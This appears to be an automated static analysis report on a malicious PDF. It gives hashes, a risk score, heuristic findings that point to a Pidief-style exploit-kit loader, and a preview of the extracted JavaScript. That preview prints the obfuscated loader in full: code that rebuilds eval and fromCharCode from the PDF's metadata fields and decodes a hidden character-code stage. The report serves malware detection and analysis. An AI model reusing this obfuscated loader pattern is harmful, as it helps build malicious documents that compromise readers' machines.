Malicious PDF — malware analysis report

Static analysis result for SHA-256 e15858af1ed850e0…

MALICIOUS

PDF

50.3 KB Authoring application: substr First seen: 2026-05-08
MD5: 2ec67382f69001ca9f45d817ce7103c3 SHA-1: 947bef3efb762db6ab019f0434afda28fe3c12bb SHA-256: e15858af1ed850e0777162c86407d7ec8ce22be91d407b57a2fc280c86ff3a17
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The JavaScript stream, named 'javascript_obj0001_000.js', is the primary artifact. While the exact script functionality is not detailed, its presence within a PDF and the high ML score point towards a likely attempt to download and execute a secondary payload or exploit a vulnerability.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xC65E 489 bytes
SHA-256: 19d105ce645920f83174c87e1c3f529f4f5b97cb89ae18049b811e1804605b06
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
dxxf=e(v[4]+'i'.concat(v[4],t));
q=dxxf[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
ufgld=e(e('d'));
sub=v[0];
sub+='ubject';
q=dxxf[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	oij = 1*(q[i]);
	i++;
	oij -= (-1)*(q[i]);
	s2 += ufgld(oij);
	i++;
}
e(s2);

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